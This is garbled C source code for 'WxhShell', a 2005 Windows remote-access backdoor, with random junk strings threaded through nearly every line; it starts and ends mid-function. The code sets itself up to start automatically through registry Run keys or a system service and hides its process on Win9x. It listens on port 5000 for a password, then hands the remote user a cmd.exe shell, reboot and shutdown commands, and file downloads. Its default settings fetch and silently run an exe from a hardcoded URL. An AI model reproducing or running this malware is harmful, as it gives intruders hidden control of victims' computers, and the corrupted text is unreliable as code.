static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /&CUspb static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; CV '&4oq B,3 t` HANDLE hProcess; 9'1hjd3k PROCESS_BASIC_INFORMATION pbi; D9ANm"# "$GK.MP5 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5^\m`gS if(NULL == hInst ) return 0; (~S<EUc$ _ 1sP.0 t g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &k1/Z*/ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r)V Lf#3B NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XZ}de%U1 l;Q
>b]DZ if (!NtQueryInformationProcess) return 0; ylk{! cL#-*_( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cv3L&zg M if(!hProcess) return 0; 3 h#s([uL r,5-XB if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kEO1TS [M4xZHd#o CloseHandle(hProcess); >A3LA3(
c =(%*LY!Xc hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D/Rv&>Jh if(hProcess==NULL) return 0; &GuF\wJ{7 P*0f~eu HMODULE hMod; g[M]i6h2 char procName[255]; *xPB<v2N:P unsigned long cbNeeded; GE@uOJ6H im=5{PbJ^ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 29%=: *R$ (wife#)~ CloseHandle(hProcess); 2xDQ:=ec J==}QEhQ{ if(strstr(procName,"services")) return 1; // 以服务启动 ?FN9rhAC j~epbl)pC return 0; // 注册表启动 0{Bf9cH } _74UdD{^o m=H_?W; // 主模块 Vn'?3Eb< int StartWxhshell(LPSTR lpCmdLine) P@C
c]Z { 3!aEClRtq SOCKET wsl; ?9p$XG BOOL val=TRUE; 3)Zu[c[%'J int port=0; S/VA~,KCe; struct sockaddr_in door; x@Y|v@}BE gV|Y54}T if(wscfg.ws_autoins) Install(); D i+4Eb
0pD[7~ ^o port=atoi(lpCmdLine); ha5e(Hj? G;NB\3~X if(port<=0) port=wscfg.ws_port; AP0|z I] jX7.fx WSADATA data; "J& (:(: if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w,Q)@]_ k{a)gFH
O if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; k d+l k: setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fWj@e"G door.sin_family = AF_INET; ^#;RLSv
door.sin_addr.s_addr = inet_addr("127.0.0.1"); MI\]IQU door.sin_port = htons(port); y:.?5KsPI Pg
Syt if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { AFGwT%ZD closesocket(wsl); \n_3Bwd~ return 1; -KiRj!v| } ~T 02._E HyEa_9
if(listen(wsl,2) == INVALID_SOCKET) { =U NT.] closesocket(wsl); T%kKVr return 1; 3za`>bUN } j7}lF?cJ2 Wxhshell(wsl); i:d`{kJ|[ WSACleanup(); ,Aj }]h\L p.C1 nh return 0; cz#_<8'N Fj^AWv^/ } lUHtjr vL$|9|W( // 以NT服务方式启动 IcFK,y%1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f>niFPW" { A#35]V06 DWORD status = 0; I8k DWORD specificError = 0xfffffff; \i0-o8q@I A*F9\mjI5 serviceStatus.dwServiceType = SERVICE_WIN32; nWGR5*e: serviceStatus.dwCurrentState = SERVICE_START_PENDING; x%6hM|U serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
RL*]g* serviceStatus.dwWin32ExitCode = 0; TT7PQf > serviceStatus.dwServiceSpecificExitCode = 0; P?J kP serviceStatus.dwCheckPoint = 0; /PqUXF serviceStatus.dwWaitHint = 0; :G 5C ]'t 6R2uWv hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4%7s259% if (hServiceStatusHandle==0) return; 4.Z(:g ~^$MA$ /p status = GetLastError(); g\&2s, if (status!=NO_ERROR) p+[}Hxx= { u s`} serviceStatus.dwCurrentState = SERVICE_STOPPED; @6b[GekZ< serviceStatus.dwCheckPoint = 0; Q>=-ext}q serviceStatus.dwWaitHint = 0; TEWAZVE* serviceStatus.dwWin32ExitCode = status; Pbe7SRdr^ serviceStatus.dwServiceSpecificExitCode = specificError; <tuS,. SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dx3 %KS return; JNBT^=x } &SmXI5>Bo0 U:n*<l-k} serviceStatus.dwCurrentState = SERVICE_RUNNING; EkZjO Ci serviceStatus.dwCheckPoint = 0; K]<u8eF serviceStatus.dwWaitHint = 0; b[srG6{ & if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y]'CXCml) } dIJGB== Gw{+xz KJ // 处理NT服务事件,比如:启动、停止 C3}Aq8$6 VOID WINAPI NTServiceHandler(DWORD fdwControl) yp+F<5o { P}@*Z>j:# switch(fdwControl) a#y{pT2 b { dB3N%pB^ case SERVICE_CONTROL_STOP: %S`ik!K"I serviceStatus.dwWin32ExitCode = 0; 7Z0/(V.- serviceStatus.dwCurrentState = SERVICE_STOPPED; }g{_AiP
rv serviceStatus.dwCheckPoint = 0; 2ykCtRe serviceStatus.dwWaitHint = 0; 9p`r7: { t$ZkdF SetServiceStatus(hServiceStatusHandle, &serviceStatus); J3=BE2L } "IwM:v return; W:O0} case SERVICE_CONTROL_PAUSE: /^2CGcT( serviceStatus.dwCurrentState = SERVICE_PAUSED; E[?kGR[ break; _{Y$o'*#I case SERVICE_CONTROL_CONTINUE: gS$A serviceStatus.dwCurrentState = SERVICE_RUNNING; 4AHL3@x break; e4[) WNR case SERVICE_CONTROL_INTERROGATE: i03gX<=* break; t`u!]DHv }; !ZrB^?sO SetServiceStatus(hServiceStatusHandle, &serviceStatus); (Es{l a G } Rla4L`X; kcS6 _l // 标准应用程序主函数 H]Wp%"L int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
$Nu)E { !O{z 3W h|p[OecG // 获取操作系统版本 R1'`F{56 OsIsNt=GetOsVer(); ?N>pZR GetModuleFileName(NULL,ExeFile,MAX_PATH); e{C6by"j{S yvxl_*Ds8 // 从命令行安装 ^>m^\MuZ if(strpbrk(lpCmdLine,"iI")) Install(); V;93).-$ Dp^/gL= // 下载执行文件 {?i)K X^ if(wscfg.ws_downexe) { D{C:d\ e)$ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J^ ={} WinExec(wscfg.ws_filenam,SW_HIDE); cy1jZ1) } doD>m?rig3 TpP8=8_Lh if(!OsIsNt) { <AUWby," // 如果时win9x,隐藏进程并且设置为注册表启动 /s[DI;M$o HideProc(); kG^dqqn6 StartWxhshell(lpCmdLine); l~1AT% } KzVTkDn, else /6U
4S>'( if(StartFromService()) };sMU6e // 以服务方式启动 <*Y'lV StartServiceCtrlDispatcher(DispatchTable); GBbh ar},g else DB@EVH // 普通方式启动 ;&,.TC?l StartWxhshell(lpCmdLine); Bq!cY Wj s'L?;:)dyB return 0; a+?~;.i~ } 'm O2t~n )(bxpW j} RzXJ~t YKs4{?vw =========================================== 1V%'.l9 Wsm`YLYkt! bGv4.:) p4>,Fwy2 Qb`C)Nh: -3hCiKq " Q)^g3J .mPg0 #include <stdio.h> rkYjq4Z@ #include <string.h> =Od>;|]m #include <windows.h> tt4+ m>/T #include <winsock2.h> #D)x}#V\ #include <winsvc.h> }.{}A(^YR #include <urlmon.h> 9;KJr[FQV j|K.i/ #pragma comment (lib, "Ws2_32.lib") &U&%ka<* #pragma comment (lib, "urlmon.lib") iZ;TYcT np6HUH #define MAX_USER 100 // 最大客户端连接数 ]}2Ztr)zZ #define BUF_SOCK 200 // sock buffer nY^Nbh0 #define KEY_BUFF 255 // 输入 buffer d
4O ;[6&0!N\ #define REBOOT 0 // 重启 ~FUa:KYD #define SHUTDOWN 1 // 关机 qY# d+F,t nb+m.X #define DEF_PORT 5000 // 监听端口 <k]qH-v4 8(xw?|D7 #define REG_LEN 16 // 注册表键长度 i2`0|8mw' #define SVC_LEN 80 // NT服务名长度 N5 n> /#t&~E_| // 从dll定义API _P5P(^/ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0"4@;e_)> typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7Dt"]o"+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wUp)JI typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nyhMnp#< z $6JpG // wxhshell配置信息 O9]\Q@M. struct WSCFG { 97!5Q~I int ws_port; // 监听端口 JSW&rn char ws_passstr[REG_LEN]; // 口令 =n0*{~r int ws_autoins; // 安装标记, 1=yes 0=no -(;LQDG | char ws_regname[REG_LEN]; // 注册表键名 /EFq#+6 char ws_svcname[REG_LEN]; // 服务名 7g6RiH} char ws_svcdisp[SVC_LEN]; // 服务显示名 59!)j>f char ws_svcdesc[SVC_LEN]; // 服务描述信息 fLB1)kTS char ws_passmsg[SVC_LEN]; // 密码输入提示信息 77We;a int ws_downexe; // 下载执行标记, 1=yes 0=no UR3 $B%i char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Alz~-hqQ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @ {}rG8 3jPB#%F }; >oqZ !V5[ |9,UaA // default Wxhshell configuration Z> 74.r struct WSCFG wscfg={DEF_PORT, p`>d7S>" "xuhuanlingzhe", QN
G& 1, *fhX*e8y "Wxhshell", _t-7$d" "Wxhshell", f a5]a "WxhShell Service", OFy,B-`A{ "Wrsky Windows CmdShell Service", DO^y;y> "Please Input Your Password: ", >q(6,Mmb 1, xm^95}80yh "http://www.wrsky.com/wxhshell.exe", h%1Y6$ "Wxhshell.exe"
+ld;k/ }; Hed$ytMaGz OM!=ViN(= // 消息定义模块 I;j3*lV_ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^ d\SPZ char *msg_ws_prompt="\n\r? for help\n\r#>"; /V^sJ($V$~ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A1_ J sS char *msg_ws_ext="\n\rExit."; PqEAqP char *msg_ws_end="\n\rQuit."; 'ZnIRE,N char *msg_ws_boot="\n\rReboot..."; -:]@HD : char *msg_ws_poff="\n\rShutdown..."; -JTG?JOd] char *msg_ws_down="\n\rSave to "; #IX&9 aFB} MUcNC\`z char *msg_ws_err="\n\rErr!"; 7rIlTrG char *msg_ws_ok="\n\rOK!"; 6P+DnS[] >saI+u'o char ExeFile[MAX_PATH]; *K)0UKBr int nUser = 0; 4e9E'
"8% HANDLE handles[MAX_USER]; bUvK int OsIsNt; l)8sw= 7/>a:02 SERVICE_STATUS serviceStatus; A&N*F "q SERVICE_STATUS_HANDLE hServiceStatusHandle; n,nisS }O*WV 1 // 函数声明 V/bH^@,sA int Install(void); ~`Sle
xK|} int Uninstall(void); [ud|dwP" int DownloadFile(char *sURL, SOCKET wsh); .,mPdVof int Boot(int flag); (hf zM+2 void HideProc(void); AMTslo int GetOsVer(void); h5-d;RKE int Wxhshell(SOCKET wsl); \cZfg%PN void TalkWithClient(void *cs); 8p=>?wG int CmdShell(SOCKET sock); iz`jDa Q|1 int StartFromService(void); V^En8 int StartWxhshell(LPSTR lpCmdLine); cU+>|'f& d8:C3R VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Gah lS*W VOID WINAPI NTServiceHandler( DWORD fdwControl ); }1>atgq]w 9^zx8MRXd // 数据结构和表定义 t!jwY /T SERVICE_TABLE_ENTRY DispatchTable[] = V2<i/6~ { >&hX&,hG {wscfg.ws_svcname, NTServiceMain}, ;0j*>fb\q7 {NULL, NULL} k/#>S*Ne }; u(hC^T1 263*: Y // 自我安装 0QoLS|voA/ int Install(void) 5Y-2
# { PU+1=%'V char svExeFile[MAX_PATH]; %F5 =n" HKEY key; ,so4Lb(vG strcpy(svExeFile,ExeFile); !}q."%%J_% rzV"Dm$' // 如果是win9x系统,修改注册表设为自启动 7bT
/KLU if(!OsIsNt) { J@`
8(\( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DHzkRCM RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7;xKy'B\ RegCloseKey(key); q\H7&w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1+^n!$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $L&BT 0 RegCloseKey(key); "Ot{^_e return 0; qGa<@ b } KjYDFrR4 } ,?y7,nb } }vD;DSz: else { GP]TnQ<*; o+^Eu}[. // 如果是NT以上系统,安装为系统服务 vYzVY\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `M rBav if (schSCManager!=0) ;+%Z@b% { if@,vc SC_HANDLE schService = CreateService /q*KO\L ( ':sTd^V schSCManager, P)IjL&[ wscfg.ws_svcname, ^&m?qKN8 wscfg.ws_svcdisp, .e$%[)D SERVICE_ALL_ACCESS, 'w6hW7"L SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UE7'B?
SERVICE_AUTO_START, u]*5Ex (? SERVICE_ERROR_NORMAL, ysVi3eq svExeFile, w_H2gaQ NULL, oCA(FQ6 NULL, >0V0i%inmF NULL, 0n5!B..m} NULL, ^0Q'./A{& NULL 8uA<G/Q; ); 0||F`24 if (schService!=0) b,Lw7MY}[ { p`p?li CloseServiceHandle(schService); k<Oy%+C CloseServiceHandle(schSCManager); %M6
c0d[9- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C8MWIX} strcat(svExeFile,wscfg.ws_svcname); M5u_2;3 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |."G ?* RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h0XH`v RegCloseKey(key); Bb_Q_<DTs return 0; m&cvU>lC } GLcd9|H } ~me\ CloseServiceHandle(schSCManager); e>!E=J)j } kjX7- ZPY } b[0S=e
G B _tQeM return 1; kp; &cQu! } Nm"<!a<F C9pnU,[ // 自我卸载 N(BiOLZL6 int Uninstall(void) j%5a+(H,z; { x~Cz?ljbn HKEY key; HTN$ >QTI 3W'FcE)|E if(!OsIsNt) { o}W;Co if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4Pf+]R RegDeleteValue(key,wscfg.ws_regname); "ZqEP R) RegCloseKey(key); ZM
8U]0[X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BPiiexTV9 RegDeleteValue(key,wscfg.ws_regname); jYk5~<\k RegCloseKey(key); UAKu_RO6S return 0; lG 8dI\ ` } QE*%HR' } "5(W[$f*]v } 952V@.Zp else { <
GU Of&"U/^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _G[6+g5| if (schSCManager!=0) `~h0?g { ;L$,gn5H SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !"%S#nrL$ if (schService!=0) vlAy!:CV { UeNF^6sWu0 if(DeleteService(schService)!=0) { F;W' CloseServiceHandle(schService); aPt{C3< CloseServiceHandle(schSCManager); N5ci};? return 0; :fW.-^"VP } <k5`&X!+ CloseServiceHandle(schService); My],6va^ } EO"6Dq( CloseServiceHandle(schSCManager); V:8@)Hc= } /D8EI } g<a<{| j^{b^!4~} return 1; 01o [!n T } FXxN>\76. UtPwWB_YV // 从指定url下载文件 SlT7L||Ww int DownloadFile(char *sURL, SOCKET wsh) ,A?{~?u. { B/rzh? b HRESULT hr; :U8k|,~f char seps[]= "/"; hu&n=6 char *token; IG&B2* char *file; U(!?d ]en char myURL[MAX_PATH]; _C5n Apb char myFILE[MAX_PATH]; :S#i9# aB }q]jjs strcpy(myURL,sURL); oHk27U G token=strtok(myURL,seps); [)0
R'xL6 while(token!=NULL) y%FYXwR{ { IBDVFA file=token; =~
'^;D token=strtok(NULL,seps); zNwc(( } ,k\/]9 *iYMX[$ GetCurrentDirectory(MAX_PATH,myFILE); ~Z7)x7
z strcat(myFILE, "\\"); 1S&0 strcat(myFILE, file); A^t"MYX@ send(wsh,myFILE,strlen(myFILE),0); R7,pukK send(wsh,"...",3,0); UL[uh@4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b70AJe= if(hr==S_OK) vLr&ay!w return 0; {x|MA(NO else =8@RKG`>; return 1; ZDfS0]0F 0xLkyt0 } d0TgqO{ ]M uF9={ // 系统电源模块 K1<k+t/V int Boot(int flag) JLml#Pu4 { u!M&;QL HANDLE hToken; "7:u0p! TOKEN_PRIVILEGES tkp; KjC[q ["<5?!bU if(OsIsNt) { ML"_CQlE7 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); waBRQh LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @\+%GDv tkp.PrivilegeCount = 1; ";o~&8?) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sFCf\y AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K[n<+e;G if(flag==REBOOT) { + 2OZJVJ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {({
R: !c return 0; !eV^Ah>PZ } Zi
ma^IL else { 4bE42c=Ca7 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]bf' return 0; 7bHE!#L`0 } xiEcEz'lk } ta@ISRK else { xJ$Rs/9C if(flag==REBOOT) { haN"/C^ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7(H?k return 0; aD0Q 0C+ } DZ,<Jmg&e* else { \
=S3 L< if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `d.Gw+Un return 0; 87R%ke } e#K rgUG } x-tm[x@;o W31LNysH!; return 1; BEFe~* ~ } PE^eP}O1 uQO(?nCi // win9x进程隐藏模块 /@6E3lhS void HideProc(void) P>>f{3e. { y|$vtD%c 1<;\6sg HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eog\pMv if ( hKernel != NULL ) CZF^Wxk { *Rz!i m| pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jQO*oq} ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0kkRK*fp}x FreeLibrary(hKernel); '9f6ZAnYpQ } 7sCR!0 E*Pz < return; | pF5`dX } 7k.d|<mRv ]6jHIk| // 获取操作系统版本 /j`i/Ha1 int GetOsVer(void) Og_2k
~ { f34_?F<h OSVERSIONINFO winfo; 6s> sj7 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~ W2:NQ>i GetVersionEx(&winfo); 9yO{JgKA if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tq2-.]Y@U return 1; `\Uc4lRS else >fW+AEt\JB return 0; '#;,oX~5 } f+Pg1Q0zI ZD$-V3e` // 客户端句柄模块 j0ci~6&b3_ int Wxhshell(SOCKET wsl) XYz,NpK { : ;|)/ SOCKET wsh; Xw&QrTDS` struct sockaddr_in client; zv8aV2?D DWORD myID; r)) $XM 6-)7:9y while(nUser<MAX_USER) =x|##7 { Bl>_&A) int nSize=sizeof(client); ho?|j"/7 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yBpW#1= if(wsh==INVALID_SOCKET) return 1; 67Af} >Q )->-~E}p9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _lP4ez
Y if(handles[nUser]==0) Ukk-(gjX closesocket(wsh); UchALR^5 else i{Y=!r5r nUser++; Z!q2F%02FO } AAIyr703cQ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]>]#zu$=c @2x0V]AI return 0; =NVZ$K OZ } fvAh?<Ul [lDt0l5^ // 关闭 socket M="WUe_ void CloseIt(SOCKET wsh) >
gA %MT { U08<V:~ closesocket(wsh); 9}K(Q= nUser--; xiOv$.@q ExitThread(0); +G3nn!gl4 } Pn'QOVy DTX/3EN // 客户端请求句柄 "1gk- void TalkWithClient(void *cs) w7=D6` { y9l#;<b
[%gK^Zt SOCKET wsh=(SOCKET)cs; 3{N p 9y. char pwd[SVC_LEN]; <> &e/ char cmd[KEY_BUFF]; J4Q)`Y\~ char chr[1]; T U"K#V&u int i,j; ,d9%Ce.$2 qv
;1$ while (nUser < MAX_USER) { ')1}#V/I $S($97IU= if(wscfg.ws_passstr) { ~pX(w!^ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?~]1Gd //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .N-'; %8 //ZeroMemory(pwd,KEY_BUFF); nzQYn i=0; V7KtbL# while(i<SVC_LEN) { ($[r>)TG AAlmG9l&7 // 设置超时 )7Ho n fd_set FdRead; "NXm\`8 struct timeval TimeOut; [9YlLL@ FD_ZERO(&FdRead); jm#F*F vL FD_SET(wsh,&FdRead); Q G=-LXv:@ TimeOut.tv_sec=8; ,q'gG`M
N TimeOut.tv_usec=0; eMpEFY int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !}Woo$#ND if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *pS7/Qe q N[\J7Pz9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5'{qEZs^QU pwd=chr[0]; :*F3 if(chr[0]==0xd || chr[0]==0xa) { PpJE|[] pwd=0; V,|Bzcz break; \>aa8LOe } ^2Fs)19R i++; &<fRej]v } }Uqa8& N%n1>!X)! // 如果是非法用户,关闭 socket #+k.b_LS if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &}L36|A: } Eezlx9b \M'bY: send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V{AH\IV- send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r0hta)xa :#Ex3H7 while(1) { yp^[]Mz= .JD4gF2N ZeroMemory(cmd,KEY_BUFF); mER8>
< VFO&)E/- // 自动支持客户端 telnet标准 "t%1@b*u j=0; O0=,&=i while(j<KEY_BUFF) { z6L>!= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jr#g>7yM cmd[j]=chr[0]; c9ov;Bw6S if(chr[0]==0xa || chr[0]==0xd) { Jegx[*O>b cmd[j]=0; yG4LQE break; !mErt2UJl } P98X[0& j++; -UD~>s } NZ%~n:/V# ?V\9,BTb) // 下载文件 KHc/x8^9 if(strstr(cmd,"http://")) { "[".3V send(wsh,msg_ws_down,strlen(msg_ws_down),0); }G,SqpcG if(DownloadFile(cmd,wsh)) @6i8RmOu} send(wsh,msg_ws_err,strlen(msg_ws_err),0); &=6cz$]z else 5>4A}hSe send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3q.[-.q } thZ@BrO# else { $E9daUt8"J ad3z]dUZ9 switch(cmd[0]) { q$u\
q. beHCEwh // 帮助 G(|(y=ck case '?': { bh;b`
5 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xn x1`|1u break; ]\9B?W(# } OL
]T+6X // 安装 SFk11 case 'i': { `9Q,=D+ if(Install()) \Zz= 4
j send(wsh,msg_ws_err,strlen(msg_ws_err),0); M5ySs\O4 else lA
Ck$E send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x}8T[ break; Zh~Lm } zQ6
-2 A // 卸载 Y5A~iGp8E case 'r': { 7p>-oR" if(Uninstall()) %6c*dy send(wsh,msg_ws_err,strlen(msg_ws_err),0); W|-N>,G else )r6SGlE[Y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mp=kZs/ break; p`l[cVQ< }
VjB`~ // 显示 wxhshell 所在路径 D'sboOY case 'p': { ^s(X VVA char svExeFile[MAX_PATH]; B 1ZHV^ strcpy(svExeFile,"\n\r"); 4M<JfD strcat(svExeFile,ExeFile); m|cWX"#g send(wsh,svExeFile,strlen(svExeFile),0); neY=:9 break; PHiX:0zT } cT=wJ // 重启 #NQz&4W case 'b': { 6<Pg>Bg send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); + x;ML if(Boot(REBOOT)) 5N3!!FFE send(wsh,msg_ws_err,strlen(msg_ws_err),0); HfeflGme* else { I.\f0I'. closesocket(wsh); 2}#wdJ` ExitThread(0); feq6!k7 } kx:lk+Tx break; W!4V:(T } W.6JnYLQ& // 关机 2p;}wYt case 'd': { n.qxxzEN send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);
Z"%O&O if(Boot(SHUTDOWN)) ;R|#ae@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nj@?}`C 4 else { $8T|r+< closesocket(wsh); r dG2| Tp ExitThread(0); <iprPk } =&*QT&e break; qL;T&h } `=l{kBZT| // 获取shell .lF\b A| case 's': { =wR]X*Pan CmdShell(wsh); 'hi\98y closesocket(wsh); :iNAXy ExitThread(0); r5qx! > break;
IOSoc 7+" } $}nUK~$GSv // 退出 =5=Vm[ case 'x': { y>cmKE send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w3bH|VnU8; CloseIt(wsh); e%v4,8 break; UV8r&O } xjbyI_D // 离开 I/b8 case 'q': { \^( vlcy send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZM^;%( closesocket(wsh); T[[ WSACleanup(); 8OtUY}R exit(1); z&vms break; Qu>zO !x } rn5g+%jX* }
UoS;!}l } ]XafFr6pe DUliU8B}\ // 提示信息 -r'seb5 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~S_IU">E } (cA|N0 } &?Z)V-1H 2GKU9cV*` return;
=ObtD" } ~q|e];tA H!>oLui // shell模块句柄 .&} 4 int CmdShell(SOCKET sock) 95 .'t} { Tl7:}X<? STARTUPINFO si; t7+Ic ZeroMemory(&si,sizeof(si)); '=5_u si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5 /jY=/0.a si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a<"& RnG( PROCESS_INFORMATION ProcessInfo; ?_j6})2zY char cmdline[]="cmd"; p}zk&` CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c%Cae3; return 0; zUtf&Ih } 7>@/*S{X vG_v89t!ex // 自身启动模式 9}0Jc(B/x int StartFromService(void) }_/h~D9-T# { & c9Fw:f; typedef struct 4-rI4A< { L{,7(C= DWORD ExitStatus; x&/Syb DWORD PebBaseAddress; $,zM99 DWORD AffinityMask; kDP^[V
P+ DWORD BasePriority; 5{/Pn%5 ULONG UniqueProcessId; e27CbA{_w ULONG InheritedFromUniqueProcessId; uvv-lAbjw } PROCESS_BASIC_INFORMATION; >upUY(3& PyxN _agf PROCNTQSIP NtQueryInformationProcess;
mFoK76 DSZhl-uGM static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AbI*/|sY static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dB/I2uGl> !3Z|!JY HANDLE hProcess; L\b_,'I PROCESS_BASIC_INFORMATION pbi; 8[`<u[Iv `[:1!I.}- HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); YIUmCx0a if(NULL == hInst ) return 0; &Wz:-G7<n i{[H3p8 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ',s7h" g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P(nHXVSUE NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PjZvLK@a9) #I~dv{RX if (!NtQueryInformationProcess) return 0; ;~$ $WU 7:q-NzE\6 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 78~V/L;@S2 if(!hProcess) return 0; 'p+QFT>Ca ;p!hd}C if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :BxYaAVt^ &0Zk3D4 CloseHandle(hProcess); ^K8a#- |8{iIvi/ hProcess = 